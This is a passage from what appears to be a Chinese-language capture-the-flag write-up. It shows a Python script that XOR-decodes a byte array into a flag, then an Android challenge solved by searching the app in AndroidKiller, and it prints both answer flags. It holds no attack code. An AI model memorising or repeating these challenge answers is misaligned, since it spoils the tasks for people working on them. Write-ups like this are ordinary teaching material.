  0x54, 0x4C, 0x24, 0x25, 0x11, 0x06, 0x05, 0x3A, 0x7C, 0x51,
  0x38, 0x1A, 0x03, 0x0D, 0x01, 0x36, 0x1F, 0x12, 0x26, 0x04,
  0x68, 0x5D, 0x3F, 0x2D, 0x37, 0x2A, 0x7D
]
print(len(array_data))
for i in range(len(array_data) - 2, 0, -1):
    array_data[i] ^= i ^ array_data[i + 1]
print(''.join(chr(data) for data in array_data))

# flag{Y0u_kn0w_what_1s_PE_File_F0rmat}

[Week 1]lazy_activtiy

https://github.com/liaojack8/AndroidKiller

使用 AndroidKiller 打开后搜索 flag 即可得到 flag。

flag{Act1v1ty_!s_so00oo0o_Impor#an#}

Last updated